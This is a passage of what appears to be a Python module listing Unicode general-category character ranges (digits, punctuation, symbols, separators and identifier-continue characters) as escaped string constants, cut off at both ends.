112e3-\U000112ea\U00011300-\U00011301\U0001133b-\U0001133c\U00011340\U00011366-\U0001136c\U00011370-\U00011374\U00011438-\U0001143f\U00011442-\U00011444\U00011446\U0001145e\U000114b3-\U000114b8\U000114ba\U000114bf-\U000114c0\U000114c2-\U000114c3\U000115b2-\U000115b5\U000115bc-\U000115bd\U000115bf-\U000115c0\U000115dc-\U000115dd\U00011633-\U0001163a\U0001163d\U0001163f-\U00011640\U000116ab\U000116ad\U000116b0-\U000116b5\U000116b7\U0001171d-\U0001171f\U00011722-\U00011725\U00011727-\U0001172b\U0001182f-\U00011837\U00011839-\U0001183a\U00011a01-\U00011a0a\U00011a33-\U00011a38\U00011a3b-\U00011a3e\U00011a47\U00011a51-\U00011a56\U00011a59-\U00011a5b\U00011a8a-\U00011a96\U00011a98-\U00011a99\U00011c30-\U00011c36\U00011c38-\U00011c3d\U00011c3f\U00011c92-\U00011ca7\U00011caa-\U00011cb0\U00011cb2-\U00011cb3\U00011cb5-\U00011cb6\U00011d31-\U00011d36\U00011d3a\U00011d3c-\U00011d3d\U00011d3f-\U00011d45\U00011d47\U00011d90-\U00011d91\U00011d95\U00011d97\U00011ef3-\U00011ef4\U00016af0-\U00016af4\U00016b30-\U00016b36\U00016f8f-\U00016f92\U0001bc9d-\U0001bc9e\U0001d167-\U0001d169\U0001d17b-\U0001d182\U0001d185-\U0001d18b\U0001d1aa-\U0001d1ad\U0001d242-\U0001d244\U0001da00-\U0001da36\U0001da3b-\U0001da6c\U0001da75\U0001da84\U0001da9b-\U0001da9f\U0001daa1-\U0001daaf\U0001e000-\U0001e006\U0001e008-\U0001e018\U0001e01b-\U0001e021\U0001e023-\U0001e024\U0001e026-\U0001e02a\U0001e8d0-\U0001e8d6\U0001e944-\U0001e94a\U000e0100-\U000e01ef' - -Nd = '0-9\u0660-\u0669\u06f0-\u06f9\u07c0-\u07c9\u0966-\u096f\u09e6-\u09ef\u0a66-\u0a6f\u0ae6-\u0aef\u0b66-\u0b6f\u0be6-\u0bef\u0c66-\u0c6f\u0ce6-\u0cef\u0d66-\u0d6f\u0de6-\u0def\u0e50-\u0e59\u0ed0-\u0ed9\u0f20-\u0f29\u1040-\u1049\u1090-\u1099\u17e0-\u17e9\u1810-\u1819\u1946-\u194f\u19d0-\u19d9\u1a80-\u1a89\u1a90-\u1a99\u1b50-\u1b59\u1bb0-\u1bb9\u1c40-\u1c49\u1c50-\u1c59\ua620-\ua629\ua8d0-\ua8d9\ua900-\ua909\ua9d0-\ua9d9\ua9f0-\ua9f9\uaa50-\uaa59\uabf0-\uabf9\uff10-\uff19\U000104a0-\U000104a9\U00010d30-\U00010d39\U00011066-\U0001106f\U000110f0-\U000110f9\U00011136-\U0001113f\U000111d0-\U000111d9\U000112f0-\U000112f9\U00011450-\U00011459\U000114d0-\U000114d9\U00011650-\U00011659\U000116c0-\U000116c9\U00011730-\U00011739\U000118e0-\U000118e9\U00011c50-\U00011c59\U00011d50-\U00011d59\U00011da0-\U00011da9\U00016a60-\U00016a69\U00016b50-\U00016b59\U0001d7ce-\U0001d7ff\U0001e950-\U0001e959' - -Nl = '\u16ee-\u16f0\u2160-\u2182\u2185-\u2188\u3007\u3021-\u3029\u3038-\u303a\ua6e6-\ua6ef\U00010140-\U00010174\U00010341\U0001034a\U000103d1-\U000103d5\U00012400-\U0001246e' - -No = '\xb2-\xb3\xb9\xbc-\xbe\u09f4-\u09f9\u0b72-\u0b77\u0bf0-\u0bf2\u0c78-\u0c7e\u0d58-\u0d5e\u0d70-\u0d78\u0f2a-\u0f33\u1369-\u137c\u17f0-\u17f9\u19da\u2070\u2074-\u2079\u2080-\u2089\u2150-\u215f\u2189\u2460-\u249b\u24ea-\u24ff\u2776-\u2793\u2cfd\u3192-\u3195\u3220-\u3229\u3248-\u324f\u3251-\u325f\u3280-\u3289\u32b1-\u32bf\ua830-\ua835\U00010107-\U00010133\U00010175-\U00010178\U0001018a-\U0001018b\U000102e1-\U000102fb\U00010320-\U00010323\U00010858-\U0001085f\U00010879-\U0001087f\U000108a7-\U000108af\U000108fb-\U000108ff\U00010916-\U0001091b\U000109bc-\U000109bd\U000109c0-\U000109cf\U000109d2-\U000109ff\U00010a40-\U00010a48\U00010a7d-\U00010a7e\U00010a9d-\U00010a9f\U00010aeb-\U00010aef\U00010b58-\U00010b5f\U00010b78-\U00010b7f\U00010ba9-\U00010baf\U00010cfa-\U00010cff\U00010e60-\U00010e7e\U00010f1d-\U00010f26\U00010f51-\U00010f54\U00011052-\U00011065\U000111e1-\U000111f4\U0001173a-\U0001173b\U000118ea-\U000118f2\U00011c5a-\U00011c6c\U00016b5b-\U00016b61\U00016e80-\U00016e96\U0001d2e0-\U0001d2f3\U0001d360-\U0001d378\U0001e8c7-\U0001e8cf\U0001ec71-\U0001ecab\U0001ecad-\U0001ecaf\U0001ecb1-\U0001ecb4\U0001f100-\U0001f10c' - -Pc = '_\u203f-\u2040\u2054\ufe33-\ufe34\ufe4d-\ufe4f\uff3f' - -Pd = '\\-\u058a\u05be\u1400\u1806\u2010-\u2015\u2e17\u2e1a\u2e3a-\u2e3b\u2e40\u301c\u3030\u30a0\ufe31-\ufe32\ufe58\ufe63\uff0d' - -Pe = ')\\]}\u0f3b\u0f3d\u169c\u2046\u207e\u208e\u2309\u230b\u232a\u2769\u276b\u276d\u276f\u2771\u2773\u2775\u27c6\u27e7\u27e9\u27eb\u27ed\u27ef\u2984\u2986\u2988\u298a\u298c\u298e\u2990\u2992\u2994\u2996\u2998\u29d9\u29db\u29fd\u2e23\u2e25\u2e27\u2e29\u3009\u300b\u300d\u300f\u3011\u3015\u3017\u3019\u301b\u301e-\u301f\ufd3e\ufe18\ufe36\ufe38\ufe3a\ufe3c\ufe3e\ufe40\ufe42\ufe44\ufe48\ufe5a\ufe5c\ufe5e\uff09\uff3d\uff5d\uff60\uff63' - -Pf = '\xbb\u2019\u201d\u203a\u2e03\u2e05\u2e0a\u2e0d\u2e1d\u2e21' - -Pi = '\xab\u2018\u201b-\u201c\u201f\u2039\u2e02\u2e04\u2e09\u2e0c\u2e1c\u2e20' - -Po = "!-#%-'*,.-/:-;?-@\\\\\xa1\xa7\xb6-\xb7\xbf\u037e\u0387\u055a-\u055f\u0589\u05c0\u05c3\u05c6\u05f3-\u05f4\u0609-\u060a\u060c-\u060d\u061b\u061e-\u061f\u066a-\u066d\u06d4\u0700-\u070d\u07f7-\u07f9\u0830-\u083e\u085e\u0964-\u0965\u0970\u09fd\u0a76\u0af0\u0c84\u0df4\u0e4f\u0e5a-\u0e5b\u0f04-\u0f12\u0f14\u0f85\u0fd0-\u0fd4\u0fd9-\u0fda\u104a-\u104f\u10fb\u1360-\u1368\u166d-\u166e\u16eb-\u16ed\u1735-\u1736\u17d4-\u17d6\u17d8-\u17da\u1800-\u1805\u1807-\u180a\u1944-\u1945\u1a1e-\u1a1f\u1aa0-\u1aa6\u1aa8-\u1aad\u1b5a-\u1b60\u1bfc-\u1bff\u1c3b-\u1c3f\u1c7e-\u1c7f\u1cc0-\u1cc7\u1cd3\u2016-\u2017\u2020-\u2027\u2030-\u2038\u203b-\u203e\u2041-\u2043\u2047-\u2051\u2053\u2055-\u205e\u2cf9-\u2cfc\u2cfe-\u2cff\u2d70\u2e00-\u2e01\u2e06-\u2e08\u2e0b\u2e0e-\u2e16\u2e18-\u2e19\u2e1b\u2e1e-\u2e1f\u2e2a-\u2e2e\u2e30-\u2e39\u2e3c-\u2e3f\u2e41\u2e43-\u2e4e\u3001-\u3003\u303d\u30fb\ua4fe-\ua4ff\ua60d-\ua60f\ua673\ua67e\ua6f2-\ua6f7\ua874-\ua877\ua8ce-\ua8cf\ua8f8-\ua8fa\ua8fc\ua92e-\ua92f\ua95f\ua9c1-\ua9cd\ua9de-\ua9df\uaa5c-\uaa5f\uaade-\uaadf\uaaf0-\uaaf1\uabeb\ufe10-\ufe16\ufe19\ufe30\ufe45-\ufe46\ufe49-\ufe4c\ufe50-\ufe52\ufe54-\ufe57\ufe5f-\ufe61\ufe68\ufe6a-\ufe6b\uff01-\uff03\uff05-\uff07\uff0a\uff0c\uff0e-\uff0f\uff1a-\uff1b\uff1f-\uff20\uff3c\uff61\uff64-\uff65\U00010100-\U00010102\U0001039f\U000103d0\U0001056f\U00010857\U0001091f\U0001093f\U00010a50-\U00010a58\U00010a7f\U00010af0-\U00010af6\U00010b39-\U00010b3f\U00010b99-\U00010b9c\U00010f55-\U00010f59\U00011047-\U0001104d\U000110bb-\U000110bc\U000110be-\U000110c1\U00011140-\U00011143\U00011174-\U00011175\U000111c5-\U000111c8\U000111cd\U000111db\U000111dd-\U000111df\U00011238-\U0001123d\U000112a9\U0001144b-\U0001144f\U0001145b\U0001145d\U000114c6\U000115c1-\U000115d7\U00011641-\U00011643\U00011660-\U0001166c\U0001173c-\U0001173e\U0001183b\U00011a3f-\U00011a46\U00011a9a-\U00011a9c\U00011a9e-\U00011aa2\U00011c41-\U00011c45\U00011c70-\U00011c71\U00011ef7-\U00011ef8\U00012470-\U00012474\U00016a6e-\U00016a6f\U00016af5\U00016b37-\U00016b3b\U00016b44\U00016e97-\U00016e9a\U0001bc9f\U0001da87-\U0001da8b\U0001e95e-\U0001e95f" - -Ps = '(\\[{\u0f3a\u0f3c\u169b\u201a\u201e\u2045\u207d\u208d\u2308\u230a\u2329\u2768\u276a\u276c\u276e\u2770\u2772\u2774\u27c5\u27e6\u27e8\u27ea\u27ec\u27ee\u2983\u2985\u2987\u2989\u298b\u298d\u298f\u2991\u2993\u2995\u2997\u29d8\u29da\u29fc\u2e22\u2e24\u2e26\u2e28\u2e42\u3008\u300a\u300c\u300e\u3010\u3014\u3016\u3018\u301a\u301d\ufd3f\ufe17\ufe35\ufe37\ufe39\ufe3b\ufe3d\ufe3f\ufe41\ufe43\ufe47\ufe59\ufe5b\ufe5d\uff08\uff3b\uff5b\uff5f\uff62' - -Sc = '$\xa2-\xa5\u058f\u060b\u07fe-\u07ff\u09f2-\u09f3\u09fb\u0af1\u0bf9\u0e3f\u17db\u20a0-\u20bf\ua838\ufdfc\ufe69\uff04\uffe0-\uffe1\uffe5-\uffe6\U0001ecb0' - -Sk = '\\^`\xa8\xaf\xb4\xb8\u02c2-\u02c5\u02d2-\u02df\u02e5-\u02eb\u02ed\u02ef-\u02ff\u0375\u0384-\u0385\u1fbd\u1fbf-\u1fc1\u1fcd-\u1fcf\u1fdd-\u1fdf\u1fed-\u1fef\u1ffd-\u1ffe\u309b-\u309c\ua700-\ua716\ua720-\ua721\ua789-\ua78a\uab5b\ufbb2-\ufbc1\uff3e\uff40\uffe3\U0001f3fb-\U0001f3ff' - -Sm = '+<->|~\xac\xb1\xd7\xf7\u03f6\u0606-\u0608\u2044\u2052\u207a-\u207c\u208a-\u208c\u2118\u2140-\u2144\u214b\u2190-\u2194\u219a-\u219b\u21a0\u21a3\u21a6\u21ae\u21ce-\u21cf\u21d2\u21d4\u21f4-\u22ff\u2320-\u2321\u237c\u239b-\u23b3\u23dc-\u23e1\u25b7\u25c1\u25f8-\u25ff\u266f\u27c0-\u27c4\u27c7-\u27e5\u27f0-\u27ff\u2900-\u2982\u2999-\u29d7\u29dc-\u29fb\u29fe-\u2aff\u2b30-\u2b44\u2b47-\u2b4c\ufb29\ufe62\ufe64-\ufe66\uff0b\uff1c-\uff1e\uff5c\uff5e\uffe2\uffe9-\uffec\U0001d6c1\U0001d6db\U0001d6fb\U0001d715\U0001d735\U0001d74f\U0001d76f\U0001d789\U0001d7a9\U0001d7c3\U0001eef0-\U0001eef1' - -So = '\xa6\xa9\xae\xb0\u0482\u058d-\u058e\u060e-\u060f\u06de\u06e9\u06fd-\u06fe\u07f6\u09fa\u0b70\u0bf3-\u0bf8\u0bfa\u0c7f\u0d4f\u0d79\u0f01-\u0f03\u0f13\u0f15-\u0f17\u0f1a-\u0f1f\u0f34\u0f36\u0f38\u0fbe-\u0fc5\u0fc7-\u0fcc\u0fce-\u0fcf\u0fd5-\u0fd8\u109e-\u109f\u1390-\u1399\u1940\u19de-\u19ff\u1b61-\u1b6a\u1b74-\u1b7c\u2100-\u2101\u2103-\u2106\u2108-\u2109\u2114\u2116-\u2117\u211e-\u2123\u2125\u2127\u2129\u212e\u213a-\u213b\u214a\u214c-\u214d\u214f\u218a-\u218b\u2195-\u2199\u219c-\u219f\u21a1-\u21a2\u21a4-\u21a5\u21a7-\u21ad\u21af-\u21cd\u21d0-\u21d1\u21d3\u21d5-\u21f3\u2300-\u2307\u230c-\u231f\u2322-\u2328\u232b-\u237b\u237d-\u239a\u23b4-\u23db\u23e2-\u2426\u2440-\u244a\u249c-\u24e9\u2500-\u25b6\u25b8-\u25c0\u25c2-\u25f7\u2600-\u266e\u2670-\u2767\u2794-\u27bf\u2800-\u28ff\u2b00-\u2b2f\u2b45-\u2b46\u2b4d-\u2b73\u2b76-\u2b95\u2b98-\u2bc8\u2bca-\u2bfe\u2ce5-\u2cea\u2e80-\u2e99\u2e9b-\u2ef3\u2f00-\u2fd5\u2ff0-\u2ffb\u3004\u3012-\u3013\u3020\u3036-\u3037\u303e-\u303f\u3190-\u3191\u3196-\u319f\u31c0-\u31e3\u3200-\u321e\u322a-\u3247\u3250\u3260-\u327f\u328a-\u32b0\u32c0-\u32fe\u3300-\u33ff\u4dc0-\u4dff\ua490-\ua4c6\ua828-\ua82b\ua836-\ua837\ua839\uaa77-\uaa79\ufdfd\uffe4\uffe8\uffed-\uffee\ufffc-\ufffd\U00010137-\U0001013f\U00010179-\U00010189\U0001018c-\U0001018e\U00010190-\U0001019b\U000101a0\U000101d0-\U000101fc\U00010877-\U00010878\U00010ac8\U0001173f\U00016b3c-\U00016b3f\U00016b45\U0001bc9c\U0001d000-\U0001d0f5\U0001d100-\U0001d126\U0001d129-\U0001d164\U0001d16a-\U0001d16c\U0001d183-\U0001d184\U0001d18c-\U0001d1a9\U0001d1ae-\U0001d1e8\U0001d200-\U0001d241\U0001d245\U0001d300-\U0001d356\U0001d800-\U0001d9ff\U0001da37-\U0001da3a\U0001da6d-\U0001da74\U0001da76-\U0001da83\U0001da85-\U0001da86\U0001ecac\U0001f000-\U0001f02b\U0001f030-\U0001f093\U0001f0a0-\U0001f0ae\U0001f0b1-\U0001f0bf\U0001f0c1-\U0001f0cf\U0001f0d1-\U0001f0f5\U0001f110-\U0001f16b\U0001f170-\U0001f1ac\U0001f1e6-\U0001f202\U0001f210-\U0001f23b\U0001f240-\U0001f248\U0001f250-\U0001f251\U0001f260-\U0001f265\U0001f300-\U0001f3fa\U0001f400-\U0001f6d4\U0001f6e0-\U0001f6ec\U0001f6f0-\U0001f6f9\U0001f700-\U0001f773\U0001f780-\U0001f7d8\U0001f800-\U0001f80b\U0001f810-\U0001f847\U0001f850-\U0001f859\U0001f860-\U0001f887\U0001f890-\U0001f8ad\U0001f900-\U0001f90b\U0001f910-\U0001f93e\U0001f940-\U0001f970\U0001f973-\U0001f976\U0001f97a\U0001f97c-\U0001f9a2\U0001f9b0-\U0001f9b9\U0001f9c0-\U0001f9c2\U0001f9d0-\U0001f9ff\U0001fa60-\U0001fa6d' - -Zl = '\u2028' - -Zp = '\u2029' - -Zs = ' \xa0\u1680\u2000-\u200a\u202f\u205f\u3000' - -xid_continue = '0-9A-Z_a-z\xaa\xb5\xb7\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0300-\u0374\u0376-\u0377\u037b-\u037d\u037f\u0386-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u0483-\u0487\u048a-\u052f\u0531-\u0556\u0559\u0560-\u0588\u0591-\u05bd\u05bf\u05c1-\u05c2\u05c4-\u05c5\u05c7\u05d0-\u05ea\u05ef-\u05f2\u0610-\u061a\u0620-\u0669\u066e-\u06d3\u06d5-\u06dc\u06df-\u06e8\u06ea-\u06fc\u06ff\u0710-\u074a\u074d-\u07b1\u07c0-\u07f5\u07fa\u07fd\u0800-\u082d\u0840-\u085b\u0860-\u086a\u08a0-\u08b4\u08b6-\u08bd\u08d3-\u08e1\u08e3-\u0963\u0966-\u096f\u0971-\u0983\u0985-\u098c\u098f-\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bc-\u09c4\u09c7-\u09c8\u09cb-\u09ce\u09d7\u09dc-\u09dd\u09df-\u09e3\u09e6-\u09f1\u09fc\u09fe\u0a01-\u0a03\u0a05-\u0a0a\u0a0f-\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32-\u0a33\u0a35-\u0a36\u0a38-\u0a39\u0a3c\u0a3e-\u0a42\u0a47-\u0a48\u0a4b-\u0a4d\u0a51\u0a59-\u0a5c\u0a5e\u0a66-\u0a75\u0a81-\u0a83\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2-\u0ab3\u0ab5-\u0ab9\u0abc-\u0ac5\u0ac7-\u0ac9\u0acb-\u0acd\u0ad0\u0ae0-\u0ae3\u0ae6-\u0aef\u0af9-\u0aff\u0b01-\u0b03\u0b05-\u0b0c\u0b0f-\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32-\u0b33\u0b35-\u0b39\u0b3c-\u0b44\u0b47-\u0b48\u0b4b-\u0b4d\u0b56-\u0b57\u0b5c-\u0b5d\u0b5f-\u0b63\u0b66-\u0b6f\u0b71\u0b82-\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99-\u0b9a\u0b9c\u0b9e-\u0b9f\u0ba3-\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bbe-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcd\u0bd0\u0bd7\u0be6-\u0bef\u0c00-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c39\u0c3d-\u0c44\u0c46-\u0c48\u0c4a-\u0c4d\u0c55-\u0c56\u0c58-\u0c5a\u0c60-\u0c63\u0c66-\u0c6f\u0c80-\u0c83\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbc-\u0cc4\u0cc6-\u0cc8\u0cca-\u0ccd\u0cd5-\u0cd6\u0cde\u0ce0-\u0ce3\u0ce6-\u0cef\u0cf1-\u0cf2\u0d00-\u0d03\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d44\u0d46-\u0d48\u0d4a-\u0d4e\u0d54-\u0d57\u0d5f-\u0d63\u0d66-\u0d6f\u0d7a-\u0d7f\u0d82-\u0d83\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0dca\u0dcf-\u0dd4\u0dd6\u0dd8-\u0ddf\u0de6-\u0def\u0df2-\u0df3\u0e01-\u0e3a\u0e40-\u0e4e\u0e50-\u0e59\u0e81-\u0e82\u0e84\u0e87-\u0e88\u0e8a\u0e8d\u0e94-\u0e97\u0e99-\u0e9f\u0ea1-\u0ea3\u0ea5\u0ea7\u0eaa-\u0eab\u0ead-\u0eb9\u0ebb-\u0ebd\u0ec0-\u0ec4\u0ec6\u0ec8-\u0ecd\u0ed0-\u0ed9\u0edc-\u0edf\u0f00\u0f18-\u0f19\u0f20-\u0f29\u0f35\u0f37\u0f39\u0f3e-\u0f47\u0f49-\u0f6c\u0f71-\u0f84\u0f86-\u0f97\u0f99-\u0fbc\u0fc6\u1000-\u1049\u1050-\u109d\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u135d-\u135f\u1369-\u1371\u1380-\u138f\u13a0-\u13f5\u13f8-\u13fd\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f8\u1700-\u170c\u170e-\u1714\u1720-\u1734\u1740-\u1753\u1760-\u176c\u176e-\u1770\u1772-\u1773\u1780-\u17d3\u17d7\u17dc-\u17dd\u17e0-\u17e9\u180b-\u180d\u1810-\u1819\u1820-\u1878\u1880-\u18aa\u18b0-\u18f5\u1900-\u191e\u1920-\u192b\u1930-\u193b\u1946-\u196d\u1970-\u1974\u1980-\u19ab\u19b0-\u19c9\u19d0-\u19da\u1a00-\u1a1b\u1a20-\u1a5e\u1a60-\u1a7c\u1a7f-\u1a89\u1a90-\u1a99\u1aa7\u1ab0-\u1abd\u1b00-\u1b4b\u1b50-\u1b59\u1b6b-\u1b73\u1b80-\u1bf3\u1c00-\u1c37\u1c40-\u1c49\u1c4d-\u1c7d\u1c80-\u1c88\u1c90-\u1cba\u1cbd-\u1cbf\u1cd0-\u1cd2\u1cd4-\u1cf9\u1d00-\u1df9\u1dfb-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u203f-\u2040\u2054\u2071\u207f\u2090-\u209c\u20d0-\u20dc\u20e1\u20e5-\u20f0\u2102\u2107\u210a-\u2113\u2115\u2118-\u211d\u2124\u2126\u2128\u212a-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d7f-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2de0-\u2dff\u3005-\u3007\u3021-\u302f\u3031-\u3035\u3038-\u303c\u3041-\u3096\u3099-\u309a\u309d-\u309f\u30a1-\u30fa\u30fc-\u30ff\u3105-\u312f\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u3400-\u4db5\u4e00-\u9fef\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua62b\ua640-\ua66f\ua674-\ua67d\ua67f-\ua6f1\ua717-\ua71f\ua722-\ua788\ua78b-\ua7b9\ua7f7-\ua827\ua840-\ua873\ua880-\ua8c5\ua8d0-\ua8d9\ua8e0-\ua8f7\ua8fb\ua8fd-\ua92d\ua930-\ua953\ua960-\ua97c\ua980-\ua9c0\ua9cf-\ua9d9\ua9e0-\ua9fe\uaa00-\uaa36\uaa40-\uaa4d\uaa50-\uaa59\uaa60-\uaa76\uaa7a-\uaac2\uaadb-\uaadd\uaae0-\uaaef\uaaf2-\uaaf6\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uab30-\uab5a\uab5c-\uab65\uab70-\uabea\uabec-\uabed\uabf0-\uabf9\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\uf900-\ufa6d\ufa70-\ufad9\ufb00-\ufb06\ufb13-\ufb17\ufb1d-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40-\ufb41\ufb43-\ufb44\ufb46-\ufbb1\ufbd3-\ufc5d\ufc64-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdf9\ufe00-\ufe0f\ufe20-\ufe2f\ufe33-\ufe34\ufe4d-\ufe4f\ufe71\ufe73\ufe77\ufe79\ufe7b\ufe7d\ufe7f-\ufefc\uff10-\uff19\uff21-\uff3a\uff3f\uff41-\uff5a\uff66-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc\U00010000-\U0001000b\U0001000d-\U00010026\U00010028-\U0001003a\U0001003c-\U0001003d\U0001003f-\U0001004d\U00010050-\U0001005d\U00010080-\U000100fa\U00010140-\U00010174\U000101fd\U00010280-\U0001029c\U000102a0-\U000102d0\U000102e0\U00010300-\U0001031f\U0001032d-\U0001034a\U00010350-\U0001037a\U00010380-\U0001039d\U000103a0-\U000103c3\U000103c8-\U000103cf\U000103d1-\U000103d5\U00010400-\U0001049d\U000104a0-\U000104a9\U000104b0-\U000104d3\U000104d8-\U000104fb\U00010500-\U00010527\U00010530-\U00010563\U00010600-\U00010736\U00010740-\U00010755\U00010760-\U00010767\U00010800-\U00010805\U00010808\U0001080a-\U00010835\U00010837-\U00010838\U0001083c\U0001083f-\U00010855\U00010860-\U00010876\U00010880-\U0001089e\U000108e0-\U000108f2\U000108f4-\U000108f5\U00010900-\U00010915\U00010920-\U00010939\U00010980-\U000109b7\U000109be-\U000109bf\U00010a00-\U00010a03\U00010a05-\U00010a06\U00010a0c-\U00010a13\U00010a15-\U00010a17\U00010a19-\U00010a35\U00010a38-\U00010a3a\U00010a3f\U00010a60-\U00010a7c\U00010a80-\U00010a9c\U00010ac0-\U00010ac7\U00010ac9-\U00010ae6\U00010b00-\U00010b35\U00010b40-\U00010b55\U00010b60-\U00010b72\U00010b80-\U00010b91\U00010c00-\U00010c48\U00010c80-\U00010cb2\U00010cc0-\U00010cf2\U00010d00-\U00010d27\U00010d30-\U00010d39\U00010f00-\U00010f1c\U00010f27\U00010f30-\U00010f50\U00011000-\U00011046\U00011066-\U0001106f\U0001107f-\U000110ba\U000110d0-\U000110e8\U000110f0-\U000110f9\U00011100-\U00011134\U00011136-\U0001113f\U00011144-\U00011146\U00011150-\U00011173\U00011176\U00011180-\U000111c4\U000111c9-\U000111cc\U000111d0-\U000111da\U000111dc\U00011200-\U00011211\U00011213-\U00011237\U0001123e\U00011280-\U00011286\U00011288\U0001128a-\U0001128d\U0001128f-\U0001129d\U0001129f-\U000112a8\U000112b0-\U000112ea\U000112f0-\U000112f9\U00011300-\U00011303\U00011305-\U0001130c\U0001130f-\U00011310\U00011313-\U00011328\U0001132a-\U00011330\U00011332-\U00011333\U00011335-\U00011339\U0001133b-\U00011344\U00011347-\U00011348\U0001134b-\U0001134d\U00011350\U00011357\U0001135d-\U00011363\U00011366-\U0001136c\U00011370-\U00011374\U00011400-\U0001144a\U00011450-\U00011459\U0001145e\U00011480-\U000114c5\U000114c7\U000114d0-\U000114d9\U00011580-\U000115b5\U000115b8-\U000115c0\U000115d8-\U000115dd\U00011600-\U00011640\U00011644\U00011650-\U00011659\U00011680-\U000116b7\U000116c0-\U000116c9\U00011700-\U0001171a\U0001171d-\U0001172b\U00011730-\U00011739\U00011800-\U0001183a\U000118a0-\U000118e9\U000118ff\U00011a00-\U00011a3e\U00011a47\U00011a50-\U00011a83\U00011a86-\U00011a99\U00011a9d\U00011ac0-\U00011af8\U00011c00-\U00011c08\U00011c0a-\U00011c36\U00011c38-\U00011c40\U00011c50-\U00011c59\U00011c72-\U00011c8f\U00011c92-\U00011ca7\U00011ca9-\U00011cb6\U00011d00-\U00011d06\U00011d08-\U00011d09\U00011d0b-\U00011d36\U00011d3a\U00011d3c-\U00011d3d\U00011d3f-\U00011d47\U00011d50-\U00011d59\U00011d60-\U00011d65\U00011d67-\U00011d68\U00011d6a-\U00011d8e\U00011d90-\U00011d91\U00011d93-\U00011d98\U00011da0-\U00011da9\U00011ee0-\U00011ef6\U00012000-\U00012399\U00012400-\U0001246e\U00012480-\U00012543\U00013000-\U0001342e\U00014400-\U00014646\U00016800-\U00016a38\U00016a40-\U00016a5e\U00016a60-\U00016a69\U00016ad0-\U00016aed\U00016af0-\U00016af4\U00016b00-\U00016b36\U00016b40-\U00016b43\U00016b50-\U00016b59\U00016b63-\U00016b77\U00016b7d-\U00016b8f\U00016e40-\U00016e7f\U00016f00-\U00016f44\U00016f50-\U00016f7e\U00016f8f-\U00016f9f\U00016fe0-\U00016fe1\U00017000-\U000187f1\U00018800-\U00018af2\U0001b000-\U0001b11e\U0001b170-\U0001b2fb\U0001bc00-\U0001bc6a\U0001bc70-\U0001bc7c\U0001bc80-\U0001bc88\U0001bc90-\U0001bc99\U0001bc9d-\U0001bc9e\U0001d165-\U0001d169\U0001d16d-\U0001d172\U0001d17b-\U0001d182\U0001d185-\U0001d18b\U0001d1aa-\U0001d1ad\U0001d242-\U0001d244\U0001d400-\U0001d454\U0001d456-\U0001d49c\U0001d49e-\U0001d49f\U0001d4a2\U0001d4a5-\U0001d4a6\U0001d4a9-\U0001d4ac\U0001d4ae-\U0001d4b9\U0001d4bb\U0001d4bd-\U0001d4c3\U0001d4c5-\U0001d505\U0001d507-\U0001d50a\U0001d50d-\U0001d514\U0001d516-\U0001d51c\U0001d51e-\U0001d539\U0001d53b-\U0001d53e\U0001d540-\U0001d544\U0001d546\U0001d54a-\U0001d550\U0001d552-\U0001d6a5\U0001d6a8-\U0001d6c0\U0001d6c2-\U0001d6da\U0001d6dc-\U0001d6fa\U0001d6fc-\U0001d714\U0001d716-\U0001d734\U0001d736-\U0001d74e\U0001d750-\U0001d76e\U0001d770-\U0001d788\U0001d78a-\U0001d7a8\U0001d7aa-\U0001d7c2\U0001d7c4-\U0001d7cb\U0001d7ce-\U0001d7ff\U0001da00-\U0001da36\U0001da3b-\U0001da6c\U0001da75\U0001da84\U0001da9b-\U0001da9f\U0001daa1-\U0001daaf\U0001e000-\U0001e006\U0001e008-\U0001e018\U0001e01b-\U0001e021\U0001e023-\U0001e024\U0001e026-\U0001e02a\U0001e800-\U0001e8c4\U0001e8d0-\U0001e8d6\U0001e900-\U0001e94a\U0001e950-\U0001e959\U0001ee00-\U0001ee03\U00